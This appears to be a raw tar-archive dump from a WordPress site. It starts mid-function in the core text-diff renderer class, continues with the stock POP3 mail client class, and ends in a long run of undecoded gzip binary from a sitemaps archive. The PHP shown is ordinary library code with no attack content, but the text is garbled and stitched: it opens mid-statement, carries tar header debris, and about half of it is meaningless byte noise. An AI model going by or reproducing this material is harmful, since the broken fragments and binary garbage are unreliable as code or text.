is_numeric( $f ) ) { $text_diff = new Text_Diff( 'auto', array( array( $orig[ $o ] ), array( $final[ $f ] ) ) ); $renderer = new $this->inline_diff_renderer(); $diff = $renderer->render( $text_diff ); // If they're too different, don't include any or 's. if ( preg_match_all( '!(.*?|.*?)!', $diff, $diff_matches ) ) { // Length of all text between or . $stripped_matches = strlen( strip_tags( implode( ' ', $diff_matches[0] ) ) ); /* * Since we count length of text between or (instead of picking just one), * we double the length of chars not in those tags. */ $stripped_diff = strlen( strip_tags( $diff ) ) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) { continue; // Too different. Don't save diffs. } } // Un-inline the diffs by removing or . $orig_diffs[ $o ] = preg_replace( '|.*?|', '', $diff ); $final_diffs[ $f ] = preg_replace( '|.*?|', '', $diff ); } } foreach ( array_keys( $orig_rows ) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[ $row ] < 0 && $final_rows[ $row ] < 0 ) { continue; } // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[ $orig_rows[ $row ] ] ) ) { $orig_line = $orig_diffs[ $orig_rows[ $row ] ]; } elseif ( isset( $orig[ $orig_rows[ $row ] ] ) ) { $orig_line = htmlspecialchars( $orig[ $orig_rows[ $row ] ] ); } else { $orig_line = ''; } if ( isset( $final_diffs[ $final_rows[ $row ] ] ) ) { $final_line = $final_diffs[ $final_rows[ $row ] ]; } elseif ( isset( $final[ $final_rows[ $row ] ] ) ) { $final_line = htmlspecialchars( $final[ $final_rows[ $row ] ] ); } else { $final_line = ''; } if ( $orig_rows[ $row ] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array( $final_line ), false ); } elseif ( $final_rows[ $row ] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array( $orig_line ), false ); } else { // A true changed row. if ( $this->_show_split_view ) { $r .= '' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "\n"; } else { $r .= '' . $this->deletedLine( $orig_line ) . '' . $this->addedLine( $final_line ) . "\n"; } } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * @since 2.6.0 * * @param array $orig Lines of the original version of the text. * @param array $final Lines of the final version of the text. * @return array { * Array containing results of comparing the original text to the final text. * * @type array $orig_matches Associative array of original matches. Index == row * number of `$orig`, value == corresponding row number * of that same line in `$final` or 'x' if there is no * corresponding row (indicating it is a deleted line). * @type array $final_matches Associative array of final matches. Index == row * number of `$final`, value == corresponding row number * of that same line in `$orig` or 'x' if there is no * corresponding row (indicating it is a new line). * @type array $orig_rows Associative array of interleaved rows of `$orig` with * blanks to keep matches aligned with side-by-side diff * of `$final`. A value >= 0 corresponds to index of `$orig`. * Value < 0 indicates a blank row. * @type array $final_rows Associative array of interleaved rows of `$final` with * blanks to keep matches aligned with side-by-side diff * of `$orig`. A value >= 0 corresponds to index of `$final`. * Value < 0 indicates a blank row. * } */ public function interleave_changed_lines( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys( $orig ) as $o ) { foreach ( array_keys( $final ) as $f ) { $matches[ "$o,$f" ] = $this->compute_string_distance( $orig[ $o ], $final[ $f ] ); } } asort( $matches ); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode( ',', $keys ); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys. if ( isset( $orig_matches[ $o ] ) && isset( $final_matches[ $f ] ) ) { continue; } // First match for these guys. Must be best match. if ( ! isset( $orig_matches[ $o ] ) && ! isset( $final_matches[ $f ] ) ) { $orig_matches[ $o ] = $f; $final_matches[ $f ] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset( $orig_matches[ $o ] ) ) { $final_matches[ $f ] = 'x'; } elseif ( isset( $final_matches[ $f ] ) ) { // Best match of this orig is already taken? Must mean this orig is a deleted row. $orig_matches[ $o ] = 'x'; } } // We read the text in this order. ksort( $orig_matches ); ksort( $final_matches ); // Stores rows and blanks for each column. $orig_rows = array_keys( $orig_matches ); $orig_rows_copy = $orig_rows; $final_rows = array_keys( $final_matches ); /* * Interleaves rows with blanks to keep matches aligned. * We may end up with some extraneous blank rows, but we'll just ignore them later. */ foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search( $orig_matches[ $orig_row ], $final_rows, true ); $orig_pos = (int) array_search( $orig_row, $orig_rows, true ); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_array = range( -1, $final_pos - $orig_pos ); array_splice( $final_rows, $orig_pos, 0, $diff_array ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_array = range( -1, $orig_pos - $final_pos ); array_splice( $orig_rows, $orig_pos, 0, $diff_array ); } } // Pad the ends with blank rows if the columns aren't the same length. $diff_count = count( $orig_rows ) - count( $final_rows ); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) { array_push( $orig_rows, $diff_count++ ); } } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) { array_push( $final_rows, $diff_count++ ); } } return array( $orig_matches, $final_matches, $orig_rows, $final_rows ); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ public function compute_string_distance( $string1, $string2 ) { // Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern. $count_key1 = md5( $string1 ); $count_key2 = md5( $string2 ); // Cache vectors containing character frequency for all chars in each string. if ( ! isset( $this->count_cache[ $count_key1 ] ) ) { $this->count_cache[ $count_key1 ] = count_chars( $string1 ); } if ( ! isset( $this->count_cache[ $count_key2 ] ) ) { $this->count_cache[ $count_key2 ] = count_chars( $string2 ); } $chars1 = $this->count_cache[ $count_key1 ]; $chars2 = $this->count_cache[ $count_key2 ]; $difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) ); if ( ! isset( $this->difference_cache[ $difference_key ] ) ) { // L1-norm of difference vector. $this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) ); } $difference = $this->difference_cache[ $difference_key ]; // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( ! $string1 ) { return $difference; } // Return distance per character (of string1). return $difference / strlen( $string1 ); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ public function difference( $a, $b ) { return abs( $a - $b ); } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Getting a dynamic property is deprecated. * * @param string $name Property to get. * @return mixed A declared property's value, else null. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Getting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return null; } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Setting a dynamic property is deprecated. * * @param string $name Property to check if set. * @param mixed $value Property value. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { $this->$name = $value; return; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Setting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Checking a dynamic property is deprecated. * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Checking `isset()` on a dynamic property " . 'is deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return false; } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Unsetting a dynamic property is deprecated. * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); return; } wp_trigger_error( __METHOD__, "A property `{$name}` is not declared. Unsetting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } } PK $[=7ZZclass-pop3.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-pop3.php000064400000051201150550007700017627 0ustar00BUFFER,"integer"); if( !empty($server) ) { // Do not allow programs to alter MAILSERVER // if it is already specified. They can get around // this if they -really- want to, so don't count on it. if(empty($this->MAILSERVER)) $this->MAILSERVER = $server; } if(!empty($timeout)) { settype($timeout,"integer"); $this->TIMEOUT = $timeout; // Extend POP3 request timeout to the specified TIMEOUT property. if(function_exists("set_time_limit")){ set_time_limit($timeout); } } return true; } /** * PHP4 constructor. */ public function POP3( $server = '', $timeout = '' ) { self::__construct( $server, $timeout ); } function update_timer () { // Extend POP3 request timeout to the specified TIMEOUT property. if(function_exists("set_time_limit")){ set_time_limit($this->TIMEOUT); } return true; } function connect ($server, $port = 110) { // Opens a socket to the specified server. Unless overridden, // port defaults to 110. Returns true on success, false on fail // If MAILSERVER is set, override $server with its value. if (!isset($port) || !$port) {$port = 110;} if(!empty($this->MAILSERVER)) $server = $this->MAILSERVER; if(empty($server)){ $this->ERROR = "POP3 connect: " . _("No server specified"); unset($this->FP); return false; } $fp = @fsockopen("$server", $port, $errno, $errstr); if(!$fp) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; unset($this->FP); return false; } socket_set_blocking($fp,-1); $this->update_timer(); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) error_log("POP3 SEND [connect: $server] GOT [$reply]",0); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]"; unset($this->FP); return false; } $this->FP = $fp; $this->BANNER = $this->parse_banner($reply); return true; } function user ($user = "") { // Sends the USER command, returns true or false if( empty($user) ) { $this->ERROR = "POP3 user: " . _("no login ID submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 user: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("USER $user"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]"; return false; } else return true; } } function pass ($pass = "") { // Sends the PASS command, returns # of msgs in mailbox, // returns false (undef) on Auth failure if(empty($pass)) { $this->ERROR = "POP3 pass: " . _("No password submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 pass: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("PASS $pass"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]"; $this->quit(); return false; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } function apop ($login,$pass) { // Attempts an APOP login. If this fails, it'll // try a standard login. YOUR SERVER MUST SUPPORT // THE USE OF THE APOP COMMAND! // (apop is optional per rfc1939) if(!isset($this->FP)) { $this->ERROR = "POP3 apop: " . _("No connection to server"); return false; } elseif(!$this->ALLOWAPOP) { $retVal = $this->login($login,$pass); return $retVal; } elseif(empty($login)) { $this->ERROR = "POP3 apop: " . _("No login ID submitted"); return false; } elseif(empty($pass)) { $this->ERROR = "POP3 apop: " . _("No password submitted"); return false; } else { $banner = $this->BANNER; if( (!$banner) or (empty($banner)) ) { $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { $AuthString = $banner; $AuthString .= $pass; $APOPString = md5($AuthString); $cmd = "APOP $login $APOPString"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } } function login ($login = "", $pass = "") { // Sends both user and pass. Returns # of msgs in mailbox or // false on failure (or -1, if the error occurs while getting // the number of messages.) if( !isset($this->FP) ) { $this->ERROR = "POP3 login: " . _("No connection to server"); return false; } else { $fp = $this->FP; if( !$this->user( $login ) ) { // Preserve the error generated by user() return false; } else { $count = $this->pass($pass); if( (!$count) || ($count == -1) ) { // Preserve the error generated by last() and pass() return false; } else return $count; } } } function top ($msgNum, $numLines = "0") { // Gets the header and first $numLines of the msg body // returns data in an array with each returned line being // an array element. If $numLines is empty, returns // only the header information, and none of the body. if(!isset($this->FP)) { $this->ERROR = "POP3 top: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "TOP $msgNum $numLines"; fwrite($fp, "TOP $msgNum $numLines\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function pop_list ($msgNum = "") { // If called with an argument, returns that msgs' size in octets // No argument returns an associative array of undeleted // msg numbers and their sizes in octets if(!isset($this->FP)) { $this->ERROR = "POP3 pop_list: " . _("No connection to server"); return false; } $fp = $this->FP; $Total = $this->COUNT; if( (!$Total) or ($Total == -1) ) { return false; } if($Total == 0) { return array("0","0"); // return -1; // mailbox empty } $this->update_timer(); if(!empty($msgNum)) { $cmd = "LIST $msgNum"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } list($junk,$num,$size) = preg_split('/\s+/',$reply); return $size; } $cmd = "LIST"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $reply = $this->strip_clf($reply); $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } $MsgArray = array(); $MsgArray[0] = $Total; for($msgC=1;$msgC <= $Total; $msgC++) { if($msgC > $Total) { break; } $line = fgets($fp,$this->BUFFER); $line = $this->strip_clf($line); if(strpos($line, '.') === 0) { $this->ERROR = "POP3 pop_list: " . _("Premature end of list"); return false; } list($thisMsg,$msgSize) = preg_split('/\s+/',$line); settype($thisMsg,"integer"); if($thisMsg != $msgC) { $MsgArray[$msgC] = "deleted"; } else { $MsgArray[$msgC] = $msgSize; } } return $MsgArray; } function get ($msgNum) { // Retrieve the specified msg number. Returns an array // where each line of the msg is an array element. if(!isset($this->FP)) { $this->ERROR = "POP3 get: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "RETR $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { if ( $line[0] == '.' ) { $line = substr($line,1); } $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function last ( $type = "count" ) { // Returns the highest msg number in the mailbox. // returns -1 on error, 0+ on success, if type != count // results in a popstat() call (2 element array returned) $last = -1; if(!isset($this->FP)) { $this->ERROR = "POP3 last: " . _("No connection to server"); return $last; } $reply = $this->send_cmd("STAT"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]"; return $last; } $Vars = preg_split('/\s+/',$reply); $count = $Vars[1]; $size = $Vars[2]; settype($count,"integer"); settype($size,"integer"); if($type != "count") { return array($count,$size); } return $count; } function reset () { // Resets the status of the remote server. This includes // resetting the status of ALL msgs to not be deleted. // This method automatically closes the connection to the server. if(!isset($this->FP)) { $this->ERROR = "POP3 reset: " . _("No connection to server"); return false; } $reply = $this->send_cmd("RSET"); if(!$this->is_ok($reply)) { // The POP3 RSET command -never- gives a -ERR // response - if it ever does, something truly // wild is going on. $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]"; @error_log("POP3 reset: ERROR [$reply]",0); } $this->quit(); return true; } function send_cmd ( $cmd = "" ) { // Sends a user defined command string to the // POP server and returns the results. Useful for // non-compliant or custom POP servers. // Do NOT include the \r\n as part of your command // string - it will be appended automatically. // The return value is a standard fgets() call, which // will read up to $this->BUFFER bytes of data, until it // encounters a new line, or EOF, whichever happens first. // This method works best if $cmd responds with only // one line of data. if(!isset($this->FP)) { $this->ERROR = "POP3 send_cmd: " . _("No connection to server"); return false; } if(empty($cmd)) { $this->ERROR = "POP3 send_cmd: " . _("Empty command string"); return ""; } $fp = $this->FP; $buffer = $this->BUFFER; $this->update_timer(); fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } return $reply; } function quit() { // Closes the connection to the POP3 server, deleting // any msgs marked as deleted. if(!isset($this->FP)) { $this->ERROR = "POP3 quit: " . _("connection does not exist"); return false; } $fp = $this->FP; $cmd = "QUIT"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } fclose($fp); unset($this->FP); return true; } function popstat () { // Returns an array of 2 elements. The number of undeleted // msgs in the mailbox, and the size of the mbox in octets. $PopArray = $this->last("array"); if($PopArray == -1) { return false; } if( (!$PopArray) or (empty($PopArray)) ) { return false; } return $PopArray; } function uidl ($msgNum = "") { // Returns the UIDL of the msg specified. If called with // no arguments, returns an associative array where each // undeleted msg num is a key, and the msg's uidl is the element // Array element 0 will contain the total number of msgs if(!isset($this->FP)) { $this->ERROR = "POP3 uidl: " . _("No connection to server"); return false; } $fp = $this->FP; $buffer = $this->BUFFER; if(!empty($msgNum)) { $cmd = "UIDL $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply); return $myUidl; } else { $this->update_timer(); $UIDLArray = array(); $Total = $this->COUNT; $UIDLArray[0] = $Total; if ($Total < 1) { return $UIDLArray; } $cmd = "UIDL"; fwrite($fp, "UIDL\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } $line = ""; $count = 1; $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { list ($msg,$msgUidl) = preg_split('/\s+/',$line); $msgUidl = $this->strip_clf($msgUidl); if($count == $msg) { $UIDLArray[$msg] = $msgUidl; } else { $UIDLArray[$count] = 'deleted'; } $count++; $line = fgets($fp,$buffer); } } return $UIDLArray; } function delete ($msgNum = "") { // Flags a specified msg as deleted. The msg will not // be deleted until a quit() method is called. if(!isset($this->FP)) { $this->ERROR = "POP3 delete: " . _("No connection to server"); return false; } if(empty($msgNum)) { $this->ERROR = "POP3 delete: " . _("No msg number submitted"); return false; } $reply = $this->send_cmd("DELE $msgNum"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]"; return false; } return true; } // ********************************************************* // The following methods are internal to the class. function is_ok ($cmd = "") { // Return true or false on +OK or -ERR if( empty($cmd) ) return false; else return( stripos($cmd, '+OK') !== false ); } function strip_clf ($text = "") { // Strips \r\n from server responses if(empty($text)) return $text; else { $stripped = str_replace(array("\r","\n"),'',$text); return $stripped; } } function parse_banner ( $server_text ) { $outside = true; $banner = ""; $length = strlen($server_text); for($count =0; $count < $length; $count++) { $digit = substr($server_text,$count,1); if(!empty($digit)) { if( (!$outside) && ($digit != '<') && ($digit != '>') ) { $banner .= $digit; } if ($digit == '<') { $outside = false; } if($digit == '>') { $outside = true; } } } $banner = $this->strip_clf($banner); // Just in case return "<$banner>"; } } // End class // For php4 compatibility if (!function_exists("stripos")) { function stripos($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle )); } } PK $[jjjsitemaps.tar.gznu[`TE8KЛ xI' ͦgl6B n[mْ H*(UTE" 7?3ݻM>(ɽSΜ9s9gfUv{m78pj:aXg-?lM?XN3[ \ 8\ESbfU֓P*mJ:'PGORpv Ppuڇ=eS"`)&pfT+]j ɥh j5`+hxT jL4FzB Z,3s X &)4%JxkF;FA"F v+`t1 FFLk-638@sDbP-}dq1!ZFO~pY+E>6(Qd0Һd ƣqLUas#ҥ́ Έ76j rL= fAʀzp7@28\;Д)CK+ }Ç,ؐi nh@(PFhJ Fg @PFϯZ%K]OZ@0*GO ~?x<Go1,ܩl*NRяQ[L1f p*F(`yٶ1sb\~ǁtn,W~SSOc@oA ̢f+@4/7ۀP_'nn؃+4+ 5,@9K# {%[\ȕWdvF/g%'h`D*2.,.A]&&3%j+aik` *K"C֛p3@{P51QSid1\B#)OM_~!+LX5*켁(5*­$O&VooBiq#x ,9 $ BOu W{0C&c̶xR; -^Yk]Jg`F@*H4D)r.ޒcU0(T}WHnhh5L_3#<r @Y!z KaQ`|sX?_DzRB~?L}qc0fV  4Ǭ@lV&Pva fZ[Pc`%FKõJMV'0 B #J6^hL#?x}MgˏG {*a1Dv`F '$b*dKF!|PPBH'ϯ H!7dBk|`Xc3I QJk6z,Ck E@1حF ٌ`6jȮ,54 }Ti$RCh# ` 㪴+6 P|3aSYQ:oNHHDb 0+a  m#"OP\=I1 `p!#DI"Iaj\ȪPf|2{ED4m`֐ܽV `,iPpb =D1Bޱcˀ@E/ FΨWlv,0rp( /XQ0MR$4[*YSi+5QAB;˜R 4O 7r+D)xHKKR9:} qܕ׊"\IDhN =@2;8 wa0Ȳf!kb ! !?=1R'. ,'(%HN% Xhu E#7Ɂ'JNWvMX;JybC,)Fb'K-Vi4#( QdA5`&Fl/ J3X4Z8d7 |QFS*Pjm lH-bd ԳtȤv43)y1 ֝ײZ@ƌ8@\Toh֐b g`S0zTa?f/Q%m%BH18M1G0 YB6E^@[ȯط M̆Qcg Aa4?(Aܞnd2و14@`$\);' 5oM8}6^ ٌPDfb=tl Hi:)AghuW !+h8 c>5oNR8F߶qFxIV9I_vMuOx=t8Ńx065 %&g|#BXet1/+D^c14DCeP4Pޣ}Hz\M`z46mD 613LR~ +mQʉ]沘 ZNA>8׍ZV Sߟ f .'8qزoW5:{ήi;5&M5jMUJcwhKT G:e @ V:U -fA$,Y,k,hTWu4;F'Cp6CQK¨$<,!f fK[QH8hM ImTJ݁T6Qz~MlJ8[0vTJ"" CpX  Qk,FC-Upp | xjuL",%E4Ra0SH}@eQh9T%< e0`AUSR T(W(rALQ7Fϑ4))*m 8d%"a8JMiQlNQ١t$0 ́RQd;(LgT f €if" ^ZO$;&Wi7YiLkPAc|= $H)^+1Ͱ{ )bx4Rz0CP '[LVx$@F-FT|iP$RXq`| - \%ڧE ;Pop4@` 5 "7QKݽ Z\f#k Y{c3mI9RTBb_08JA<)u$6ņYԀlb3i?ZKCp3@6Yi@hjTIBJ D`e PF]lHS/4n&odz˒+b4N,g Ri!lY {%W^37`v/icF%r 6H?OiAПB'\R#P.3ns]}dEIոo~;kqK|w4Si5}$3[PdPS4Ӳ |FP[4pgՎhe5ɏ*VaȒy% " *"4O9ʂV;f&:U&Bؘk-TOW#1@ )9*ڦCE>ntp8P:@B VM4 )^$َ&Fs0f Gtx8@@Mqy<6[q%; p\%Wp6 buֲC*1-<10Am#6## ^s`L;{, OYnfD1lNK_Zf VCF2IaH9!p*G#|`0~-`06 8B :VQϻ9f7Xx%@k (b\SiRzT$` W_`DL b)9j >lٮC۶Џ N0_JJE%Q@9 M]ȉ'vCڂ@ v0 DɃ^KUxկ0/"4X vх F B<" fGdcM&`<921`@f29_(> _ 8Ll?p4c>DLPJ.i3|%l t4oȤ!hPK0"X"XD! P2*J÷3 dB 6VJж-DOQ9XfU I$Ih ½Y`IohI` M[[U`mJ: PKjvգC#2h>̀B<ۥ4aK*T v_?Q/]"RCh2GxX: #jGcl66kT>B%^EGk:[% SI:^R#Q$)$LR$K 䕹"iF(C%(d(* / ]BzB p$(-VV 划 {qH8x$?ʄP`FF'jbF`^1XSWp G7@W4 RƻB@A7H-Oߠ9Tx0Vdos`>$0$vj`c˦t SȬ4q,hœI /ϱ,P }Jb DQS(d" B@82H)кPqXk2Cb 腛hm9*(_ZY,E4%O3<$\STeezV,F!ؐd/ !+?aa1FVU`$,Ǿ@]NӊE-Ҩ>N&PƈAa(*y f"1 н( <&`=H bEr1hMS.Z:ߋL!h̞0S3 49`!(wVC[=jw;|]j"$D:AK9@*\XHqA{I FzzhHUوB{ 7ʤ&_XI&QPΡV}QPAD-bFy߀JS} #JHoOCAq' j3r`c"ftVچ|PT`)*#*S=a b@ +n1͎ĒX"w€ggs3IcRY\@  }~eiTAE7**T*ͫJ?@Uc>|?iL0Złcn (4=+=?0+plq:ɢ7CwRCR60: hF3h|Z,[Hu5,B9;',TD"za8}p7la~ý)،Z77lS7\QGc  HRKU!⣼@˱ρHNa> >p>pj> EdqYC)8S/"i 8̀ڼY9!vl`!YK XzP!`'U#ZQ02Aw5_}ADa-yD5PXFE6t&( J*XEn  "B:Zo.W&)9; u4j` /K" L}'1C>L9%<'wXj#CNy:>tAPt {!Dkth8a46daޘH kŊi0 "-@Z}qQX@%kG*+rH^FNhD׵jŎpY_W I=,xCcRC{w:SGQN'LZc#g0HW5Pd45 f ,PDu$%s\iPy8%J*6O"r1fݚj pMYpFS7z&*MIT0`{ :Bi@`}22B)Ad8QFL[NB:|8}[Ob0ŐbZC٣f2 OZ6QWF=fpeFߪ-KmE*x._5JA\  Tp%WG9ZFXC: 1"Q10! u>]S!7kd覤 .n'*Z/k`DAM {hLgwhƎ€NzP #ݻƀ~݅E#{Kp1+ UnD5A"XiQ `aBeK }$1^iTSuQ108De05'%Q$et''$6\6LKl #˧FF $g$2G`c=p :nǍ?;\K*9vp8JlL2# m#\T5FLȠN 2@K1p7&pSـɍdxbIѴC$T]cѰbyO>9 ^v ÔlrXX h8E6E3t3Sh,fvrƢFW5c` Z!1vt*"2 - 74:Xr%z=aAk@IOos9FBzH%ېaPD'D|i^2PŀHIJ1IiV{ÀQ%+[\ܠ:TbD$MxqڢeI$29%Sr%E u%UU2D**H0<^X}iLR@z1/~] O~2 ( ,+HJ14CEsF*GzDˆ*^ h AX_%̔'ʓWh0 Ѽ"^awZ4!w΄"E5цh<n GF1\LBi]6T1?KdSimp3,fѠN)6SD;Y6 @2HCBdӯ 2kp-1u JM䔥4@C o D%Iz :Fd+ 'x}}FGt cD 5xO VA;{\9[$n\tx, *5dj~\@$l0F>C Xz5"t("wa ¸=8 Dyarx(Iĝfc .DDER+rAytLLlKj5儩䯗>f@ @Dʤ6B{&4~!cC8QmOKl,!q7' &]TA h1^}7DPhho&!V# CAh.B31;0M%klb0X~ 3 (#&:0n(n2qc-0!X kaMj2:+BeM`|F 57 M17a>c~;k@b04É6P; O@ ,YH mA/ss2t%: _EbQk-Ç MX"尲Be,-/>6?9[gcj]2GǕKR 7MdˬHsqYqy_~ªf l]LoKa|Fa+ɪ2r|Uqu&Gǖ,f\lK%B;/31tC4rsLǔf2θac[4r2J[eZu,a(a)p&XM3rS\TW3J,g.Y:sJBVQUb<Ş'x\UkSWf٭ɑkrҒXl˯::0N,)eeo;&88PqW9%"/PN}MWu%,KaK*9_^hv^]qb)XW]yT]]LfW ?J* uF(ӤKk2^YiQ$IVqYDc,6)FX+pBE+-*,+ aq|Y]ZYšQ.s$b#Ϧ(BHVMW 2F^k(biyj>S-ʪeqRwam'S.5bkԂ<- ="N,PKkQJ+e%"Y$@/{b3CO$>0B ub>n1dɩ} 䍢;d<ЯF MT樯 7FWZ0, MI[fjF&R~,X6ai&Mt)sCތ ax/뢛֠20vG=G6Cr`/wh!!+ _J(Q(~6ѷV+n#d"$p>"u'Q6TĽ`M0xdMdD137~~wk2C"Io ^VSI>G@ 4ȭ/qFHz8=$ t&ōLNfZ"sDiى&z=A@s&AFBUоK 1O|* *4m .l\`m~B uY)#Ʀ4k1Nhᰘ)I1KG1 - R98I  Q K f.&-dqдh:i'JohpjCn0o'@,#4DIWm1 Z>B` kh\ى/i/`7 _F6t+'R} l]DY0 Eztw1|I 0aO\5J,Bi4/^%55Ac~BȘ AB=Do$6" /KN -GJnb)1cjGaUB|U5?$mHxB eBEUtP Qk/[y*9F 07x=\Cahw.P@hZ  Y}JZPR\F*q^/GjI^,]@)gq0AEQ} ^%f>)1ݑ0#1*hycQbcI!^t8 ߬#>D..iu+\Zɍys+eYD4QQ=G&=8`Hq)TB>yv4kp&hB2Uтg'\Bh/Xi|qJ]hkADbD5E@f<ԚEтp,b/++$RGFY$+!L E74 Tv(y#8giq&}#RK_jWl*gG1gEiкB/Wk2} 62D@?NQLIi߃n9Ҹz"Mw0Í<@vDWC 'I&c4)XHCcK-x|=I'&5i턟W  K!qk5B\ 8Tq L$6`N ;59 XY@h5&18*UVK)q9Ȗ@EK4@Gb='Ml$<7GÅFktaJ6ZxZԯ#hUE<~zZO_~XC[⪝J|"qj8f a!䴾T=7=ѷ!+p(7RށBS=xEARY0|~[ {_ 